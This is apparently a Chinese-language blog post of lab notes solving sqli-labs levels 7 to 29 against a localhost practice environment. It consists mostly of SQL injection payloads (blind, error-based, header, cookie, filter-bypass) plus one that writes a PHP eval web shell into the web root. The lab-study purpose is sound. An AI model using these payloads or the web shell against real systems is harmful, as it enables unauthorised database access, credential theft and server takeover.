sqlilab笔记


下载地址:
网上的盘真难找,不是github就是连接挂了:v
https://cloud.189.cn/t/3Q7NVzqmmqYz

Less7

因为php脚本语言的原因,能识别的解析变量的字符就那几个,单引号、双引号、括号等
http://localhost/sqli-labs-master/Less-7/?id=1’))–+

http://localhost/sqli-labs-master/Less-7/?id=1’)) union select version(),database(),user() into outfile'd:\\3.txt'--+
在d盘根目录下输出了3.txt,内容是version(),database(),user()

http://localhost/sqli-labs-master/Less-7/?id=1’)) union select 1,2,"<?php @eval($_POST['test']);?>" into outfile'd:\\phpstudy_pro\\WWW\\1.php'--+
此payload将一句话木马写进服务器,然后可以用中国菜刀连接

cluster bomb爆破方法

Less8用这个爆破方法很方便
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后就可以爆破数据库名了,start attack!!
在这里插入图片描述
115 101 99 117 114 105 116 121 库名
security就这样爆出来了数据库名

时间盲注Less8

延时盲注
先看字段长度
?id=1’ order by 4–+
3正常回显,4没有回显,说明有三个字段

猜解数据库长度
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(length(database())=2,sleep(5),1)--+
bp爆破
8个字母

猜解数据库名
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(ascii(mid(database(),1,1))=1,sleep(5),1)--+
bp爆破或者用二分法
115 101 99 117 114 105 116 121 库名
security

猜解数据库中表的数量
http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select count(table_name) from information_schema.tables where table_schemas=database())=1,sleep(5),1)--+

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)--+
爆破,发现是四个表

http://localhost/sqli-labs-master/Less-8/?id=1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)--+
爆破猜解表名长度
6

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))=1,sleep(5),1)--+
猜解表名(利用bp爆破的cluster bomb方法)
101 109 97 105 108 115 = emails

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select count(column_name) from information_schema.columns where table_name='emails')=1,sleep(5),1)--+
猜解字段数
2个字段

先看字段长度呗
http://localhost/sqli-labs-master/Less-8/?id=1’ and if(length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1))=1,sleep(5),1)--+
第一个字段长度为2
第二个字段长度为8

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name='emails' limit 0,1),1,1)))=1,sleep(5),1)--+
猜解字段
第一个105 100 id
第二个101 109 97 105 108 95 105 100 email_id

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select length((select id from emails limit 0,1))=1),sleep(5),1)--+
判断id列下第一个内容的长度 1

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select length((select email_id from emails limit 0,1))=1),sleep(5),1)--+
判断email_id列下第一个内容的长度 16

http://localhost/sqli-labs-master/Less-8/?id=1’ and if((select ascii(substr((select email_id from emails limit 0,1),1,1))=10),sleep(5),1)--+
爆破得出email_id列下的第一个内容
在这里插入图片描述

布尔盲注Less8

猜解数据库
1.先看长度
http://localhost/sqli-labs-master/Less-8/?id=1' and length(database())=8--+
bp爆破,长度为8的时候回显正常

2.用ascii码爆破猜解数据库名
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=8--+
同一个数据库,还是security

猜解表
1.先看表长度
http://localhost/sqli-labs-master/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+
6的时候回显正常,说明有表名长度为6

2.猜解表名
http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1--+
在这里插入图片描述
emails

猜解字段
1.看看字段数
http://localhost/sqli-labs-master/Less-8/?id=1’ and select count(column_name) from information_schema.columns where table_name=‘emails’)=1–+
有两个字段

2.看字段长度
http://localhost/sqli-labs-master/Less-8/?id=1' and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1))=2--+
修改limit参数
第一个字段长度为2
第二个字段长度为8

3.分别猜解字段
http://localhost/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name='emails' limit 0,1),1,1)))=1--+
修改limit 1,1猜解第二个字段
id
email_id

4.暴内容
http://localhost/sqli-labs-master/Less-8/?id=1' and (select length((select id from emails limit 0,1))=1)--+
判断id列下第一个内容的长度

http://localhost/sqli-labs-master/Less-8/?id=1' and (select length((select id from emails limit 1,1))=1)--+
limit 1,1 判断emial_id列下第一个内容的长度
长度是16

爆破email_id列下第一个内容
http://localhost/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select email_id from emails limit 0,1),1,1))=10)--+

Less9

基本跟less8的时间盲注一致
http://localhost/sqli-labs-master/Less-9/?id=1'and if(1=0,1, sleep(5)) --+
这么注入延时回复了,证明大有可为

http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())=2,sleep(5),1)--+
爆破数据库长度,长度为8
在这里插入图片描述
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(mid(database(),1,1))=1,sleep(5),1)--+
用ascii码猜解数据库名
在这里插入图片描述
security数据库名

http://localhost/sqli-labs-master/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)--+
爆破 where table_schema=database())=1的1可得数据库中表的数量
在这里插入图片描述
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)--+
第一个表长度为6
在这里插入图片描述
http://localhost/sqli-labs-master/Less-9/?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))=1,sleep(5),1)--+
猜解表名,根据表名长度修改参数,爆破ascii码
在这里插入图片描述
emails表名

http://localhost/sqli-labs-master/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_name='emails')=1,sleep(5),1)--+
猜解字段数,有两个字段
在这里插入图片描述
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1))=1,sleep(5),1)--+
分别猜解字段长度,第一个字段长度是2,第二个字段长度是8
在这里插入图片描述
http://localhost/sqli-labs-master/Less-9/?id=1' and if((select ascii(substr((select column_name from information_schema.columns where table_schema= database() and table_name='emails' limit 0,1),1,1)))=1,sleep(5),1)--+
猜解字段名
第一个字段
在这里插入图片描述
第二个字段
在这里插入图片描述
后面报内容也跟less8一样,就不写了

Less10

http://localhost/sqli-labs-master/Less-10/?id=1" and if(1=0,1, sleep(5)) --+
用上payload延时回显了
与less9区别只是单双引号,就不往下做了

Less11

虽然弱口令试出来了,
在这里插入图片描述
uname=-1' or 1=1--+&passwd=&submit=Submit
password可以不填,直接登录
在这里插入图片描述
order by 3 登录失败,2的时候成功了,说明有2个字段
在这里插入图片描述
uname=-1’ or 1=1 union select 1,2–+&passwd=&submit=Submit
没有回显位置,考虑报错注入
在这里插入图片描述
确实爆出security库了,报错语句跟less6一样,不往下注入了

Less12

只输入1",报错有个括号
在这里插入图片描述
所以
uname=-1") or 1=1–+ 就能登录了
在这里插入图片描述
后面一样,报错注入就行
在这里插入图片描述

Less13

还是一样,加个单引号,发现有括号
uname=1’) or 1=1–+
在这里插入图片描述

Less14

这题没有回显了,经过反复尝试
uname=1" or 1=1–+
注入成功了
在这里插入图片描述
接下来应该是布尔盲注的操作了
在这里插入图片描述
照着less8的语句流程做就可以注入了

Less15

第一次试
uname=1’ or 1=1–+ 就注入成功了
在这里插入图片描述
接下来布尔,或者延时注入都可

Less16

uname=1") or 1=1–+
一样,盲注就行

Less17

这题用到了updatexml()而且是password位置的注入
passwd=1’ or 1=1 and updatexml(1,concat(’~’,(select database()),’~’),3);–+
参考文章
updatexml()报错注入
在这里插入图片描述
暴表
passwd=1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’~’),3);–+
在这里插入图片描述
爆字段
passwd=1’ and updatexml(1,concat(’~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘emails’ limit 0,1),’~’),3);–+
在这里插入图片描述
暴内容
passwd=1’ and updatexml(1,concat(’~’,(select id from emails limit 0,1),’~’),3);–+
在这里插入图片描述

Less18

参考文章
http header注入讲解
在user-agent输入单引号报错,说明存在注入点,接下来就是构造payload
在这里插入图片描述
1’ and updatexml(1,concat(’~’,(select database()),’~’),3) or ‘1’ =‘1
成功暴库
在这里插入图片描述
1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’~’),3) or ‘1’ ='1
成功暴表
在这里插入图片描述
接下来的报错注入语句也是与less17一样

Less19

1’ and updatexml(1,concat(’~’,(select database()),’~’),3) or ‘1’='1
和上一题一样,只不过注入位置换到referer了
在这里插入图片描述

Less20

有三个字段
在这里插入图片描述
接下来就是报错注入了
在这里插入图片描述

Less21

这题跟20题差不多,只不过对cookie进行了base64加密,同理我将sql语句base64加密再注入即可
在这里插入图片描述
admin’)and updatexml(1,concat(’~’,(select database()),’~’),3);#
YWRtaW4nKWFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwzKTsj
在这里插入图片描述

Less22

将21题的单引号换成双引号即可

Less23

emm.所有的注释符号都被过滤了
只有想办法绕过了
在这里插入图片描述
那怎么闭合这个单引号来绕过呢
我想语句应该是 select * from table where id=‘用户输入’
所以当我输入-1‘ union select 1,2,3',语句就变成了
select * from table where id=’-1‘ union select 1,2,3’’;
在这里插入图片描述
在这里插入图片描述
暴库,接下来就是常规注入

Less24

这题提示是二次注入,但是我不会…
参考文章

Less25

题目提示过滤了and和or,并且是单引号注入
在这里插入图片描述
可以直接用union select 暴库
然后发现双写or可以绕过直接暴表
在这里插入图片描述
eg. infoorrmation
同理双写and 变成 anandd也可绕过
在这里插入图片描述

Less25a

只是换成数字型而已,双写还是能绕过
在这里插入图片描述

Less26

加单引号报错,过滤了挺多东西的

or用||绕过,好处是||左右两边都不需要用空格
注释符也过滤了,我用 1’||‘1’='1 闭合单引号绕过了
因为空格过滤了,所以用()包裹子语句来绕过
eg. select database() 等价于 select(database())

下面是暴表payload,用的报错注入(注意information有or,要双写)

http://localhost/sqli-labs-master/Less-26/?id=1'||updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database()))) ,1)||'1'='1

暴字段

http://localhost/sqli-labs-master/Less-26/?id=1'||updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='emails'))) ,1)||'1'='1

暴内容

http://localhost/sqli-labs-master/Less-26/?id=1'||updatexml(1, concat(0x7e,(select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  where(id=5))),1)||'1'='1

Less26a

单引号报错但是不回显错误
所以用盲注来做
双写+()绕过
猜解数据库名字长度,8时回显正常

http://localhost/sqli-labs-master/Less-26a/?id=1'anandd(length(database())=8)anandd'1'='1

在这里插入图片描述
用ascii码猜解数据库名
老方法,bp爆破

http://localhost/sqli-labs-master/Less-26a/?id=1'anandd(ascii(substr(database(),1,1))=8)anandd'1'='1

Less 27

题目提示过滤了select 和 union
是单引号注入,过滤了注释符

http://localhost/sqli-labs-master/Less-27/?id=1'||'1'='1

正常回显

http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1,concat('~',(database()),'~'),3)||'1'='1

暴库
在这里插入图片描述

http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1, concat(0x7e, (SeLect (group_concat(table_name)) from (information_schema.tables) where (table_schema=database()))) ,1)||'1'='1

暴表 //这里用了不规则大小写绕过,因为他过滤了select嘛
在这里插入图片描述

http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1, concat(0x7e, (seLect (group_concat(column_name)) from (information_schema.columns) where (table_name='emails'))) ,1)||'1'='1

爆字段
在这里插入图片描述

http://localhost/sqli-labs-master/Less-27/?id=1'||updatexml(1, concat(0x7e,(seLect (group_concat(  concat_ws(0x7e,id,email_id) )) from (security.emails)  where(id=5))) ,1)||'1'='1

暴内容
在这里插入图片描述

Less27a

题目提示过滤select ,union
而且是双引号盲注

http://localhost/sqli-labs-master/Less-27a/?id=1"||"1"="1

回显正常

http://localhost/sqli-labs-master/Less-27a/?id=-1"and(length(database())=8)and"1"="1

猜解数据库名长度,长度为8

http://localhost/sqli-labs-master/Less-27a/?id=-1"and(ascii(substr(database(),1,1))=8)and"1"="1

猜解数据库名
后面与布尔盲注没区别

Less28

这题我用了盲注
看了源码我认为,用%a0等空格编码能绕过空格

由于环境的原因,像%a0这类的特殊字符在windows平台上不能有效的使用。
在这里插入图片描述

http://localhost/sqli-labs-master/Less-28/?id=1')||'1'=('1

回显正常

http://localhost/sqli-labs-master/Less-28/?id=0')||length(database())=8||'1'=('0

接下来盲注就行了

找到联合注入方法咯
/*0a*/强制制造空格,再不规则大小写union、select

http://localhost/sqli-labs-master/Less-28a/?id=0')/*%0a*/uniOn/*%0a*/seLEct/*%0a*/1,2,3||'1'=('0

Less 28a

与上题差不多

Less 29

http://localhost/sqli-labs-master/Less-29/?id=1'--+

正常回显

http://localhost/sqli-labs-master/Less-29/?id=1' order by 3--+

order by 查到三字段

http://localhost/sqli-labs-master/Less-29/?id=-1'union select 1,database(),3--+

暴库
emmm…暴表的时候出错了
在这里插入图片描述
上网搜索发现这题要配jspstudy环境,错误示范

少说话,多做事

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值